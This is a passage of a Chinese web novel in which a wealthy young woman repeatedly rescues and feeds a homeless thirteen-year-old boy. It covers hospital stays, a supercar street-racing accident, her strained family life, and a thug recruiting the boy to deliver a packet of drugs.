黎娜快被他这幅又凶又委屈的样子笑死了，虽然这样很不道德，但这个小屁孩哭起来真的很可怜也很可爱，特别有意思。
“别哭了行不行，你这样，别人还以为我欺负小孩儿呢。”
她捏着沈知逸的脸颊。
“小孩儿就是小孩儿，动不动就哭鼻子。”
她话刚说完，就被沈知逸拍开手，还被他用力推开了。小屁孩力气不小，推得她差点没站稳摔个四脚朝天，等她稳住身体之后，沈知逸又走了。
这个小屁孩，还挺难哄。
黎娜到现在都不知道自己哪里惹到他了，难道是因为那个炒鸡蛋？不至于吧。
沈知逸一股脑地往前走，把迎面走来的路人都逼退到一边。别看他腿短，走起来跟一阵风似的，特别有范儿。
黎娜从后面追上来，扯了下他的衣领，他立刻朝旁边一躲，挣开了黎娜的手，走得更快了。
黎娜只是使出那一招了，对付这个小土豆唯一有用的一招。
只见她弯下腰，长臂一伸，直接拦腰把沈知逸抱起来，还是那么轻，她往上颠了两下抱稳。
沈知逸被点了穴般，身体僵硬得一动不动，随即两条腿到处乱蹬，拖鞋都蹬飞出去了，手还一直乱挥。
黎娜为避免误伤自己，把他抱远了，胳膊放松，给他足够的活动空间，又不至于让他摔下来。
“你别乱跑，我就放你下来。”
沈知逸发现挣扎没有效果，用力拧她的手臂。
她皱眉：“你听到没有？”
沈知逸扭开脸不看她，手上还跟她较着劲，越来越用力，直到她手臂皮下出血，浮出一抹紫红的痕迹。
黎娜冷笑：“力气不小嘛，看你把我拧成什么样了？”
她手臂下垂一点，让袖子滑下来，露出刚才被他掐过的位置，果然一片紫红，在她白皙的皮肤上极为明显。
沈知逸瞪大眼睛看着，瞳孔收缩了一下。
他这样的人……竟然把黎娜弄成这样。
5. 神明降临
回病房的路上，沈知逸安静地跟在她身后，低眉顺眼的，要多乖有多乖。
黎娜嘴角上翘，看来这个小屁孩是愧疚了，所以现在才会这么乖巧听话。
护士从病房里走出来，看到黎娜身后的沈知逸，悬着的心终于放下来，走上前问他：“你去哪了，找半天没找到你。”
沈知逸低着头，没说话。
黎娜替他说：“他拿自己的饭去喂狗。”
护士：“……”
回到病房，桌上还有一袋盒饭，黎娜没吃早饭，正好现在有点饿了，打开来吃。
她拿着筷子，夹起食物往嘴里送，细嚼慢咽的，偶尔嘴角沾到汤汁，就拿出湿纸巾擦掉，即便被沈知逸盯着看，也没有丝毫不自在。
“咕噜噜——”
沈知逸捂住肚子，若无其事地避开了黎娜探究的视线。
黎娜放下筷子，擦干净嘴，把没有碰过的食物都推到前面，喊沈知逸过来吃饭。
沈知逸坐在床上不动，他不会像她那样用筷子吃饭，用手吃会被她嫌脏。
黎娜看他不过来，也懒得管了。
她小时候就特别讨厌被父母逼着吃饭。现在到沈知逸这，她不想逼他，小孩子嘛，饿了会自己吃的，总不会把自己饿死。
吃完高碳食物就犯困，黎娜倒在床上，把被子往上一拉，蒙住脸睡着了。
沈知逸跳下床，光脚走到桌子前坐下，食物很快被他一扫而空，就连黎娜没吃完的都被他装进了肚子，撑得他一时间动不了。
这一觉睡到天黑，中途醒了一次，睁开眼睛看到沈知逸蹲在床边，用手指戳她手臂上的淤青。
见她醒了，沈知逸有些意外地睁大眼睛，手指缩了回去，人站起来。
她扫了沈知逸一眼，迷迷糊糊的也没看清楚，眼一闭又睡过去了。
到晚上，黎娜醒了，沈知逸在另一张病床上睡着了。
他整个人缩进被子里，床上鼓起小小的一团，安安静静的，传出均匀的呼吸声。
黎娜关掉灯，轻轻关上病房门，脑袋昏昏沉沉，睡这么久也没有缓解身体的疲惫感，反而越睡越累。
明天就能出院了，她准备把这个小孩送到警察局。
回到住处，黎娜毫无睡意，白天睡得太多了。
她温了一杯牛奶，在路过客厅的时候，脚步顿住，看向角落里立着的画板，算起来从她弟弟死后就再也没碰过了，应该有十多年了。
那块画板就一直被她安放在目光所及之处，但她再也没有拿起过画笔，只是每次看到画板都会不由自主停下来，看着画板失神。
黎娜将牛奶放到茶几上，身体直直地向后倒去，陷进柔软的沙发里，卷发飘起落下，凌乱地蒙在脸上。
她蜷缩起身体，双手捂住眼睛，呼吸沉重，肩膀微微颤抖，喉咙压抑着不知名的情绪而收缩痉挛，忽然溢出一声哽咽，便再也控制不住，低声抽泣起来。
早上，黎娜办理好出院手续，去病房找沈知逸。
沈知逸已经睡醒了，正坐在床上，支起小桌子吃早饭。
旁边有个女护士在手把手教他使用筷子，只见他肌无力似的，夹起一块萝卜丝饼，没有往嘴里送，而是歪着脑袋用嘴去够吃的，在嘴唇快要碰到的时候，萝卜丝饼“啪嗒”一下又掉回了饭盒里。
他来来回回试了很多次，才吃到第一口。
黎娜站在门外，双臂环胸，美眸凝视着他，幽幽地叹了口气，抬手敲门进去。
沈知逸抬眸看到她，手指一下子没用上力气，那块咬了一口的萝卜丝饼又掉回去了。
他放下筷子，人躺下，钻进被窝里，背对着黎娜。
女护士看到黎娜来了，打了声招呼就出去了。
黎娜坐到床边，拍了拍沈知逸的身体。
“起来吃饭，吃完饭我送你去警察局。”
很久没有动静，就在黎娜要再开口的时候，沈知逸掀开被子钻出来，重新坐好，拿起筷子吃饭。
等他这顿饭吃完，估计都要到中午了。
黎娜撑着下巴看他，终于忍不住，坐到他旁边，拆了一副筷子拿在手里。
“你看啊，用你的拇指和中指按住两根筷子，让它们不能乱动，然后再通过活动拇指和食指，让筷子分开夹住食物，再把手指收紧，把食物夹紧，放到嘴巴里面。”
黎娜把一个春卷放进嘴里，缓慢咀嚼着吃完，继续道：“你看，就是这么简单，不要着急，慢慢来，找对方法很快就能上手了。”
沈知逸垂眸抿唇，按照黎娜的方法，把手指放到该放到的位置，用拇指和食指发力，再次夹起一块萝卜丝饼，但还是怕掉下去，下意识用嘴去够。
黎娜直接用手按住他的脑袋。
“头不许动，只能动手，慢慢来。”
沈知逸就跟被点了穴一样，僵坐着，手臂像生锈的机器人，每移动一下都好像会发出“吱呀”的一声，不过他最后成功将萝卜丝饼放进了嘴巴里。
黎娜收回手，重新撑着下巴看他，很欣慰地点了点头，毫不吝啬地夸赞：“小知逸真聪明，一教就会了，真棒，真厉害！”
总是有一种养小孩的错觉，会下意识把自己童年中没有的东西，比如家长的认可和夸奖，都大方地给到另一个小孩，像是在弥补自己的童年，同时鼓励了一个小男孩，让她很有满足感和成就感。
沈知逸看上去没有多开心，他眉眼低垂，长长的睫毛盖住了眼睛，让人看不清情绪，用着黎娜教他的方法，默默用筷子吃饭，模样比之前用手狼吞虎咽看起来斯文了不少。
“沈知逸。”
黎娜突然喊了他一声。
他慢吞吞抬头，睫毛不再盖住眼睛，目光中竟然透出一丝落寞，仿佛被人遗弃在路边的小狗，同时又透出一丝倔强，虽然被遗弃，但也不会去追遗弃他的那个人，他有自己的尊严。
不过这种落寞并没有持续多久，就彻底被那一丝倔强覆盖住了，目光定定地看着黎娜。
黎娜突然发不出声音，仿佛被人掐住了喉咙，张着嘴过了很久才说出一句：“你好像从来没跟我说过话。”
“沈知逸，叫声姐
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姐来听听。”
沈知逸愣住，漆黑的瞳仁里映出黎娜的脸，周围一切都被他虚化。
黎娜去年研究生毕业回国，今年过完年虚岁二十四，身体已经完成发育。她十八岁出国边做模特边上学，算是进入社会比较早，经历也多一些，所以看起来比同龄人更成熟。
对于十三岁的沈知逸来说，黎娜完全符合一个姐姐的样子。
但是，他不想叫。
一想到要被这么可爱的男孩子叫姐姐，黎娜整个人都兴奋起来了，而且看他那个不爱搭理人的傲娇样，却要被迫低头叫她姐姐，她都忍不住要笑出来了。
然而她等了很久，沈知逸都没有开口，还抿紧了嘴唇，冷冷地看着她。
黎娜不悦，声音加重了一些：“叫姐姐，说谢谢姐姐，快点。”
沈知逸嘴巴越闭越紧，手指抠着筷子。
黎娜嘴角抽了抽，撇开脸不再看他，安静地生闷气。
就这么僵持了快一分钟，沈知逸终于张开嘴巴，却没有叫姐姐，而是跟她谈条件，一字一顿，慢吞吞地说：“如果……我叫你，可不可以……”
后面的话没有说出来，因为黎娜重新转回头来，看着他，黑色瞳仁靠上，有点下三白眼，看起来很冷漠且有压迫感。
沈知逸又不吱声了，闭上嘴巴，好像根本没说过话。
黎娜眨了下眼睛，目光又变得温柔，很失落地叹了口气：“我出钱出力，连声‘姐姐’都听不到哇，好难过哦……”
她的难过多少有点片面，一看就是装出来，就连沈知逸都能看出来。
所以，真正难过的人，就只有沈知逸自己。
这顿早饭吃了一个多小时，不过黎娜也不着急，她有的是时间可以用来浪费。
喝完最后一口胡辣汤，沈知逸放下勺子，悄悄抬眸看了黎娜一眼，在她感应到他的视线看过来时，沈知逸已经低下了头。
黎娜沉沉地吐出口气，站起身来，伸了个懒腰。
“那走吧，送你找警察叔叔。”
沈知逸没有衣服穿，之前的衣服太脏太破，换下来之后就被黎娜扔掉了。他现在穿着单薄的病服，在医院里没事，有空调，到外面是肯定受不住的。
黎娜开车到附近商场，买了一套冬装，衣服鞋子都有，花了六万多，付款的时候眼睛都没眨一下。
沈知逸对于她来说，就像在路边捡了一条快要死掉的流浪狗，送医院治疗，再施舍一点小东西，她从来没有把这条流浪狗放在心上过。事实上，她从来没有把任何人放在心上过。
她也不会知道，当沈知逸在卫生间里换上这身衣服的时候，整个人都被温暖包裹起来，他迷迷糊糊地想起了那个下雪的除夕夜。
他饿了三天没吃东西，垃圾桶里什么都没有，在雪地里漫无目的地走了很久很久，饿到摔在地上爬不起来。
他以为自己要死了，他终于可以死了。
可是最后他落入了一个温暖的怀抱，有甜甜的花香味钻进他濒临死亡的身体里。
那个雪夜，他的神明降临了。
6. 仰望神明
上了车，黎娜导航到最近的警察局。
沈知逸坐在后面，被安全带拴在座位上动弹不得，目光呆滞地看着前面中控台上，有个杰瑞和汤姆躺在黄枕头上睡觉的小摆件。
黎娜从后视镜里看他，发现他视线落在那个摆件上，以为他喜欢，收回目光笑了一下，趁着红灯拿起杰瑞和汤姆丢到后面。
“送给你了。”
摆件掉在沈知逸腿上，坚硬的质感，砸在身上有点痛。他拿起来放到大腿上摆正，目光就停在那里，依然是没有焦距的。
路过除夕夜他晕倒的那个街道，沈知逸握紧汤姆杰瑞，伸手去拉车门，车门是锁着的，他拉了几次都没有拉开。
黎娜放慢车速：“怎么了？”
沈知逸拍窗户。
黎娜问：“你要下去？”
沈知逸点了点头。
黎娜靠边停车，按下解锁键，沈知逸拉开车门下去，一脚一个雪印，朝破败肮脏的小巷子里走去。
黎娜也下车，跟在他身后，看着这些老房子，眉心紧皱。
“你家住在这里？”
沈知逸没出声，往前面走了两步，突然停住。
黎娜也停下来，想问他怎么不走了，结果话还没说出来，他就跟只兔子似的窜进巷子里。
黎娜赶紧追上去。
地面坑坑洼洼的，到处都是污水，啤酒瓶，稍不留意就会踩进一个水坑里，黎娜很嫌弃这个地方，躲开障碍物追了几步，裤子上被溅到了泥水，很脏很恶心。
她停住脚步，只见沈知逸在这个复杂的地形中灵活穿梭着，很快就消失不见了。
有一种放生小动物的感觉。
心里还有些不舍。
黎娜歪着脑袋，喃喃道：“不是说好去警察局的吗……”
沈知逸抱着双腿坐在一个水缸后面，听着脚步声越来越远，他站起来，回头看到黎娜消失在拐弯处。
她黑色发尾飘起来，是沈知逸目光所及之处最后一抹属于她的痕迹，他视线黏在上面，抓不住，只能任由其消失，他不由自主迈出小小的一步，却于事无补。
怀着一种不知名的郁闷情绪，沈知逸回到了家。
他的家在一个印着红色“拆”字的破房子里，之前他是没有家的，后来捡垃圾吃的时候，发现这个拆迁房里没有人住，就住进来了。
这个房子的门全被拆掉了，窗户也被敲碎了，地上堆着很多碎玻璃。有时候风雪太大，会把水吹进来，他不管在哪个地方睡觉都会被淋湿，不过总比之前睡在外面好。
他离开了两天，被子和抱枕还铺在地上，也是从垃圾桶里捡的，刚捡来的时候很潮湿，有股腐烂食物的酸臭味，放到太阳底下晒几天味道就变淡了。
小黑狗不知从哪个角落里窜出来，嘴里叼着一块带肉的骨头，要是以前沈知逸早就扑过去抢了，但是今天他坐在被子上一动不动，目光放空，有点心不在焉的样子。
小黑狗吐掉骨头，摇着尾巴朝沈知逸扑过去。
沈知逸迅速用手护住衣服，往后躲，还是没能幸免，被扑了个正着，黑色羽绒服上被踩出狗爪印。
小黑狗在他身上嗅来嗅去，闻到了另一个人的味道，从他口袋里叼出汤姆和杰瑞摆件，用锋利的牙齿咬住，用力啃咬。
沈知逸瞳孔骤缩，如猎豹般扑上去掰开他的狗嘴，手伸进去，掏出那个被它啃咬的摆件。
已经坏掉了，汤姆猫上有很多利齿咬出的孔洞，漆面受损了，那个小小的杰瑞被咬得扭曲变形，看不出原来的样子。
这是黎娜送给他的。
沈知逸眼底浮上水雾，浸得眼眶发红，他握紧摆件，狠狠地抹了一把眼泪，跳起来一巴掌扇到狗头上。
小黑狗“嗷呜”的惨叫一声，四处逃窜，沈知逸追上去在它屁股上踹了一脚，抓住它，把摆件按在它狗脸上，让它看清楚它干的好事。
果然下一秒，小黑狗就心虚地低下脑袋，不吱声了，用湿漉漉的眼睛偷瞄沈知逸。
沈知逸死死地瞪着它，目光凶狠，吓得它赶紧垂下眼睛，趴了一会，爬过来舔沈知逸的手，姿态讨好。
沈知逸用力推开狗头，力气大到狗头差点来个三百六十度旋转。
他坐回被子上，双腿并在一起，把被咬得面目全非的摆件放在膝盖上，两眼发红地盯着。
他嘴唇抿紧有些颤抖，瘦削的肩膀时不时抽动一下，眼泪控制不住地溢出来，在这个空旷漏风的拆迁房里，脸埋在膝盖上低声抽噎着。
如果没有人来打扰的话，黎娜可以睡上一整天，而且到晚上也能一沾到床就睡着。
她引以为傲的睡眠质量，在朋友温琳看来就是逃避现实，自甘堕落。
家里有一个小吧台，上面吊着两盏灯，玻璃灯罩上有水波纹路，透出冰蓝色的光芒。
黎娜喜欢把家里的灯都关掉，只开这两盏，仿佛身处于海底，彻底隔绝了现实世界，再来点酒，放点音乐，简直完美。
昏暗灯光下，温琳手扶在她腰上，随着音乐节奏，带着她在客厅里跳双人舞。
两人默契十足，能接上对方每一个动作。温琳是黎娜的发小，一起长大，一起出国留学，一起当模特，从小到大几乎没分开过，关系比家人还要亲密。
她们喝了点酒，气氛微醺。
温琳比黎娜稍微高一点，在将黎娜抛出去，拉回来的时候，她微低下头，嘴唇贴上黎娜的耳朵，低哑地笑了一声。
“唉，为什么我不是男的呢？我要是个男的，第一个干/你。”
黎娜头皮发麻，起了一身鸡皮疙瘩，冷笑着呛回去：“我也想是个男的，长着一个超级大追追，把你干得下不来床，在床上哭着求我。”
这下换温琳头皮发麻了。
她松手的同时，黎娜也推开了她。
两人对视一眼，似乎看到了什么恶心的脏东西，同时弹跳出去，倒在沙发两边。
温琳端起鸡尾酒浅酌。
黎娜接了个电话。
黎母的声音从手机里传出来：“年后去你爸的公司上班，别整天待在家
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里混吃等死。”
黎娜脑袋晕乎乎的：“不去，我差他那俩破钱？”
让她每天过朝九晚五的无趣生活，还不如直接让她去死。
黎母在电话那头没说话，似乎是叹了口气，又对她失望了。
她也很烦，正打断挂掉电话，黎母的声音又传了过来。
“我想去领养一个男孩。”
黎娜：“……”
记得之前黎母让人买了一大堆卫生巾回来，结果她当月就绝经了，把那些卫生巾都送到了黎娜这里。
但黎娜在国外用过卫生棉条之后，就很少用卫生巾了，除了晚上睡觉的时候用。
自从弟弟死后，黎母一直想要个男孩，但肚子总是没有动静，黎父也被她缠得很烦，后来就跟她分房睡了。
黎娜听到过一些传闻，在生弟弟之前，黎母怀过两次孕，都是女儿，就打掉了。生完弟弟之后，也怀过一次，是女儿，也被打掉了。
在黎母怀过那么多的女儿里，黎娜是唯一活下来的一个，她都不知道是该庆幸还是该难过。
黎娜说了句“你想领就领”，就把电话挂断，手机丢到一旁。
温琳凑过来，笑得不怀好意：“你妈想给你找个童养夫啊？”
黎娜踹她一脚：“滚！”
还童养夫，那是她妈绝经生不出小孩，没有资本跟狐狸精斗，只能去领养小孩，让自己这边也有个儿子，就算没有血缘关系，也能多刷点存在感，分散一些她父亲的注意力。
到了深夜，黎娜和温琳喝得醉醺醺的，两人七横八竖地倒在沙发上，以一种极其别扭的姿势睡到了天亮，起来的时候浑身酸痛，脑袋要爆炸了一样。
窗外飘着雪花，常青树随风飘荡，天空灰白，寒风裹挟着雪雾，如一幅雪景画镶嵌在窗框里，黎娜目光失神。
温琳爬起来，抓了两把乱糟糟的鸡窝头。
“我靠，这雪都下四天了，还不停，他妈的有完没完。”
黎娜瞬间回神。
温琳扒着窗户看向外面，有一些环卫工人在路上撒盐铲雪。
“晚上我们去炸街吧，我那辆布加迪扔车库一年多了，该拿出去溜溜了。”
黎娜揉着酸胀的太阳穴。
“行啊，那我就开帕加尼吧，再不开估计都要坏掉了。”
两人一拍即合，吃完早饭，一觉又睡回了黑夜，仿佛天没亮过，连着过了两个晚上。
外面雪变小了，不会影响视线，雪花轻飘飘落下来有一种静谧的感觉。
黎娜和温琳的家相隔不到一百米，几乎同一时间，不同位置的两个私人车库开出一辆超跑。
与街上的私家车不同，她们的车身更低，线条凌厉流畅，有种凶猛的力量感，外形极具冲击力。平时很少有这样的车出现在街上，所以有种很不真实的感觉，看起来就像是放大的酷炫跑车模型。
她们的超跑一上路，那些宝马奥迪立刻躲得远远的，根本就不敢靠近，路边甚至聚集了一波人，拿出手机对着她们的车子拍照。
7. 仰望神明
离开黎娜以后，沈知逸没有再吃过饭，垃圾桶里最近有别人扔掉的食物了，但是他吃不下，也不想碰。
之前他没有吃过好吃的东西，所以不觉得难吃，只要能填饱肚子肚子就行了，但是尝过美味的食物以后，那些冰冷腐烂发臭的食物就再也吃不下了。
再这样下去，他真的会饿死。
沈知逸出了小巷子，走到大街上，有些卷生卷死的连锁店已经开业了，他路过的时候，闻到了饭菜的香味，肚子又开始叫，越叫他越没力气。
路过一家潮玩店，沈知逸看到亚克力箱子里放着很多摆件，其中一个是汤姆和杰瑞躺在枕头上睡觉，上面写着售价699。
黎娜随手扔给他的一个小玩意，够他吃多少顿饭呢？
今天街上人多一点，沈知逸看到有两辆很与众不同的车子开了过来，路上有人拿着手机兴奋地拍照片，有的女生还在幻想开车是不是英俊帅气的霸道总裁。
沈知逸收回目光，继续往前走，耳边忽然传来一道咒骂声。
“你可真够笨的！刚给你的时候就千叮咛万嘱咐别弄掉了，你看看你，全都撒出去了，下次再也不给你买了！”
一位走在人行横道上的女人，正在责骂不小心把炸鸡柳掉到地上的女孩。
女孩想去捡，女人拉住她，看了眼驶过来的跑车。
“别捡了，都脏了，上面全是细菌！”
女人牵着小女孩走了。
沈知逸两眼发直地看着那份炸鸡柳，口中疯狂分泌唾液，他腿脚不受控制地走过去，看着地上的炸鸡柳，双手颤抖地去拿。
一道刺目的白光打在他身上。
他什么都看不见了，视野内全是白色，有些睁不开眼睛，整个人跟被定住了似的愣在原地。
车里的温琳魂都要吓飞了，握紧方向盘，发出一声尖叫。
“卧槽！鬼探头啊！”
她急忙踩刹车，还是晚了一秒，车头撞到了男孩，撞得应该不重，因为人没飞出去，而是原地倒下了。
她解开安全带下车。
路边有几个人围过来，她烦躁得要命，全部推到一边。
“让开啊！别挡路！都给我让开！”
温琳把摔倒在地上的小男孩扶起来，拍掉他衣服的雪，上下打量着他。
“你没事吧？有没有哪里痛？”
沈知逸摇头，垂眸看着自己身上的衣服，已经被地上的泥水弄脏了，这是黎娜买给他的，他一直很珍惜，都没有穿着这身衣服去钻垃圾桶。
温琳不放心：“还是去医院里检查一下吧。”
她掏出手机，给黎娜打电话。
黎娜接通后“喂”了一声。
温琳几乎崩溃大哭：“娜娜啊，我撞到人了，还是个小孩儿！”
黎娜很冷静：“嗯，我已经看到了，我停好车过去找你。”
挂断电话，黎娜靠边停车，走到那辆布加迪前面，看到温琳半蹲在地上，紧张兮兮把一个男孩子转来转去，挠着脑袋很烦躁的样子。
“你真的没事吗？”
沈知逸点头，抬眸看到一个女人缓步走过来。
距离越来越近，在看清楚女人的脸之后，他瞳孔微微收缩了一下，整个人被定住了似的愣在原地，动弹不得。
黎娜也看到他，短暂的惊讶过后，扬起一抹温柔优雅的笑容，拖腔带调地喊他名字。
“沈知逸小朋友。”
她走到沈知逸面前，稍微弯下腰，有甜甜的花香味扑面而来，对上沈知逸惊愕的视线，忍不住笑出了声，揉揉他的脑袋。
“我们又见面了。”
沈知逸顺着她的力道，慢慢低下了头，显得有几分乖顺，像条被主人抚摸的小狗。
温琳目光在这两人身上来回流转，隐约察觉到一丝不对劲，笑得有点坏坏的：“你们认识？”
黎娜收回手，站直身体：“嗯，之前见过两次，今天是第三次见。”
温琳来了兴趣：“怎么认识的呀？这么可爱的一个小弟弟。”
她按耐不住自己的小贱手，去掐沈知逸的脸。
手指还没碰到他，就被沈知逸脑袋一扭，退后一步躲开了。
温琳愣了一愣，笑了，看向旁边的黎娜，酸溜溜地说：“怎么只让你摸头，不让我掐掐小脸儿呢？”
黎娜又把手放回沈知逸脑袋上，故意的，而且沈知逸还没有躲，真的太给她面子了。
“因为你长得丑，小朋友不乐意让你摸。”
温琳气血直冲头顶，指着自己的鼻子：“我丑？我以前交往过五个大帅逼，被好多优秀男人追求过，你呢？你交过几个男朋友？”
“男朋友”这三个字一出，沈知逸瞬间抬起头，看向黎娜。
寡王黎娜被他们俩死盯着，有些不自在地轻咳了一声，若无其事地移开了视线，避开这个话题，拎着沈知逸看了看。
“去医院检查一下吧，万一伤到了骨头了，落下后遗症就麻烦了。”
被避开的话题，扎根在沈知逸的心里，他垂下眸子，视线又回到了那袋鸡柳上。
黎娜顺着他的视线看过去，瞬间明白了。她拿出手机，手指在屏幕上滑动几下，紧接着把沈知逸拉上车，扣好安全带。
两辆超跑再次炸街，你追我赶地争抢着跑到最前面，有好几次她们几乎是擦着对方的跑车开过去，没有碰撞到，但看的人心惊肉跳，手心冒汗。
引擎的嗡鸣声响彻天际，行人无一不为之驻足。
到了医院，黎娜给沈知逸解开安全带。
“你跟那个姐姐先上去做检查，我等会过去。”
沈知逸坐在后面，大眼睛在昏暗的光线下亮晶晶的，有点湿润的感觉，正一眨不眨地盯着黎娜，没有动。
黎娜忍不住转身揉他脑袋，语气比刚才更温柔了一些：“乖，沈知逸，你要听话呀。”
她温柔的嗓音如同一片羽毛，轻轻地飘落到沈知逸心里，泛起一阵细细密密的痒，像蚂蚁爬满了心脏。
沈知逸心跳控制不住，等黎娜摸够他了，才拉开车门下去。
到医院里
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，沈知逸跟个玩具似的，被一群医护人员传来传去，做了一个详细的身体检查。
最后，医生看着报告单说：“没受伤，连点皮外伤都没有，冬天衣服穿得厚，可能明早起来膝盖上会有点淤青，不过问题不大。”
温琳这才彻底放心，拉着沈知逸出来了。
黎娜也过来了，手里拎着一个保温袋，离得远，看不清是什么，等她走近了，一股鸡柳的香味飘出来，勾引着沈知逸肚子里的馋虫。
他连咽了几次口水，装模作样地看向别处，没把目光放在上面，直到黎娜将那个保温袋拎进他的视线，他听到了那个会让他心脏发痒的声音。
“你还没吃饭吧？刚才看你一直盯着地上的鸡柳。”
沈知逸撇开脸，但能感觉到黎娜的视线在他身上，所以一直没有做咽口水这么明显的动作，慢慢的，他嘴巴里堆满了口水，一开口绝对会流出来，那样会很丢人的。
他脸颊发热，伸手接过来，脸还撇在那，看都没看黎娜一眼，心中并没有得到食物的喜悦，他反而觉得羞耻，甚至很看不起自己，讨厌自己。
黎娜盯着他的侧脸，微微眯起眼睛，笑容意味不明。
“姐姐给你买吃的，连句‘谢谢姐姐’都不会说吗？”
沈知逸忍不住了，一口气咽掉嘴里的全部口水，低着头磕磕巴巴的，声音细弱蚊蝇。
“谢……谢谢姐……姐姐。”
温琳噗嗤笑出声，用手捶墙，学着沈知逸刚才结结巴巴的别扭样子，也很小声地对黎娜说：“谢……谢谢姐……姐姐。”
温琳可不是老实的人，说完了还要继续添油加醋：“谢谢姐姐给我买好吃的，爱死姐姐了，来，姐姐亲一个……”
她搂着黎娜的脖子，噘着嘴亲过去。
黎娜也笑个不停，拼命往后躲。
只有沈知逸低头杵在那里，看着她们的笑容，敏感的自尊心遭到了前所未有的巨大打击，伴随着一种被人模仿嘲笑后的耻意，让他失去了对面部表情的控制。
他眼底浮起一层水，却不是因为难过，所以不足以形成泪水，只是把他眼睛泡得红红的，亮亮的，显得闪烁的目光更加无处安放。他脸颊底下仿佛被人放了一把火，控制不住地发烫，炙烤着他混乱的思绪。
身体忽然变得很难受，几乎要站立不住，他脑袋一沉，眼前事物飞速变化，整个人狠狠地摔在地上，彻底失去了意识。
正在打闹的黎娜和温琳听到一声闷响，不约而同扭头看过去，见沈知逸倒在地上，不省人事。
温琳一脸懵逼地挠头：“他怎么回事啊？怎么突然晕了？”
黎娜推开她：“叫医生过来看看吧。”
医生们又对沈知逸做了一通检查，得出结论。
“他情绪太激动了，加上贫血，血压低，一下子脑供血不足了，不用太担心，休息一下就好了。”
黎娜点头，有点云里雾里。
温琳嘴角抽搐，多少有点无语：“我真服了，就吃个鸡柳，他还能把自己情绪吃激动了？”
8. 仰望神明
天色晚了，温琳懒得等沈知逸醒过来，嚷嚷着要回家睡觉。
黎娜只能找了个保洁阿姨，给了她两百块钱，让她在沈知逸醒了之后，给他买点吃的，还手写了一张地址，叫她帮忙打辆车把沈知逸送回去。
温琳问她：“你还知道他家住哪儿啊？”
黎娜看她一眼：“你傻呀，从哪里撞的他，就把他送回哪里去啊。”
温琳又觉得不对劲：“怎么没看见他妈啊？我们都把他儿子撞了，他妈呢？”
黎娜纠正她：“人是你撞的，不是我们撞的，也是你要去炸街的，跟我没关系。”
温琳瘪着嘴∶“你好冷漠！好无情啊！呜呜呜呜呜……人家再也不跟你好了！”
黎娜嫌弃地看着她：“你脑子有病……”
话又说回来，黎娜每次见到沈知逸的时候，他都是孤身一人，从来没见过他身边有大人在。就连之前甜品店里的店员，也不清楚沈知逸的来历。
沈知逸醒来的时候，外面的天已经亮了。
这是他第二次住病房，不过这次只有他一个人。
保洁阿姨见他醒了，扶他起来，支起病床上的小桌子，把提前买好的早饭拎上去，拆开筷子给他。
“吃饭吧，吃完我叫辆车送你回去。”
沈知逸拿住筷子，很快吃完了一份。
保洁阿姨觉得他没吃饱，又出去买了一份回来，沈知逸又吃完了，塑料饭盒都被他舔干净了。
保洁阿姨问：“你吃饱了吗，没吃饱我再去买，那个小姑娘给了我两百块钱，打车送你回去三十块就够了，还剩下好多，你要不要再吃点？”
沈知逸摇头，朝保洁阿姨伸手。
保洁阿姨没明白他的意思。
他嘴唇动了动：“钱，给我一点。”
保洁阿姨愣了几秒，把剩余的钱拿出来，扣掉打车要花的钱，分了一半给沈知逸。
“喏，收好了，千万别弄丢了。”
沈知逸点头。
保洁阿姨带他到医院门口，拦了辆车，把黎娜手写的纸条递给司机。
“去这个地方，多少钱，我现在给你。”
司机看了眼地址，伸出三根手指头：“给我三十吧。”
跟她之前预估的价格一样，保洁阿姨抽出三张十块钱给司机。
车子开走了。
沈知逸看着窗外，在路过熟悉的巷子口时，他伸手拍了拍窗户。
司机刹慢车速：“在这里下车？”
沈知逸“嗯”了一声。
他走进小巷子里，拿出保洁阿姨给他的七十块钱，用手指轻轻抚摸着。
路过一家黑网吧，里面出来一个脸上都是痘坑的黄毛男，之前抢过沈知逸的面包。
沈知逸正低头看钱，没有留意，黄毛男直接抽走他手里的七十块钱。
沈知逸跳起来伸手去抢。
黄毛男立即把钱举高，呲着一口被香烟熏黄的大黄牙。
“臭小子，你很有钱嘛！”
沈知逸扒住他的胳膊，用力往下拽，伸手去够他手里的钱。
黄毛男用力一甩胳膊，直接把沈知逸甩飞出去，后背撞到电线杆子，重重地摔到地上，浑身发痛爬不起来。
他走到沈知逸面前，把刚才抢来的七十块钱攥成一团，用力砸到他脸上，半蹲下身子，拽住沈知逸的头发往上提，让他看着自己。
“沈知逸，我跟你商量个事儿呗。”
黄毛男从口袋里掏出一个很小的密封袋，差不多有半个手掌那么大，里面装着白色粉末。
沈知逸看着那袋粉末，又看向黄毛男，只见他脸上露出狰狞的笑容。
雪停了，阳光透过厚重的云层照射下来，显得有些苍白无力。
沈知逸手插在口袋里，握紧那个小小的密封袋，往拆迁房的方向走。
站在黑网吧门口的黄毛吹了声口哨，对着沈知逸的背影喊：“别忘了啊！”
沈知逸脚步一顿，转回身看向他，朝他点了下头。
只要在天黑的时候，去巷子最深处，成功把这个密封袋交给一个有红色挑染头发的男人，那个黄毛就会给他一百块钱。
一百块钱。
沈知逸嘴角扬起一个很小的笑容弧度。
天黑了，黎娜回到家，发现家里灯亮着。
黎母在翻冰箱，看到里面全是凉茶和气泡水，一点吃的都没有，她摔上冰箱门，往沙发上一坐，对刚回家的黎娜说：“那个狐狸精生了，贱种一个！她怎么没难产大出血死掉！”
黎娜不想跟她费口舌，起争执，干脆顺着她说：“嗯，狐狸精，贱种，死掉。”
她从冰箱里拿出一瓶无糖气泡水，倒进杯子里，抿了一口含在嘴里，让舌头麻痹。
黎母将她的行为尽收眼里，眉心狠狠皱出一个“川”字。
“你别总喝凉的，容易宫寒，以后不好生育。”
闻言，黎娜直接拿起一整瓶气泡水对着嘴吹。
黎母气得瞪眼，也是管不住她了，只能移开自己的视线，眼不见心不烦。
“我上次让你加的那个男孩子，你加了没有？”
黎娜放下空瓶子：“加了。”
“聊天了吗？”
“聊了。”
“聊的什么？”
“互相发了个你好。”
“……”
黎母闭眼揉太阳穴：“我是搞不懂你们这些年轻人，不结婚，不谈恋爱！你就算不结婚，最起码也先谈着一个给自己留条后路吧，万一以后想结了呢？别等到三十岁再找，到时候全是人家挑剩下的。”
黎娜也学她闭眼揉太阳穴，看起来比她还要头疼。
黎母剜她一眼：“反正我这辈子就这样了，你可千万把眼睛擦亮，别跟我一样。”
黎娜不停地点头。
反正她又不结婚，不结婚，就不存在老公出轨，多好，直接来一个釜底抽薪。
黎母还要说什么，黎娜四处找纸巾想把两只耳朵堵住，幸好有一通电话拯救了她。
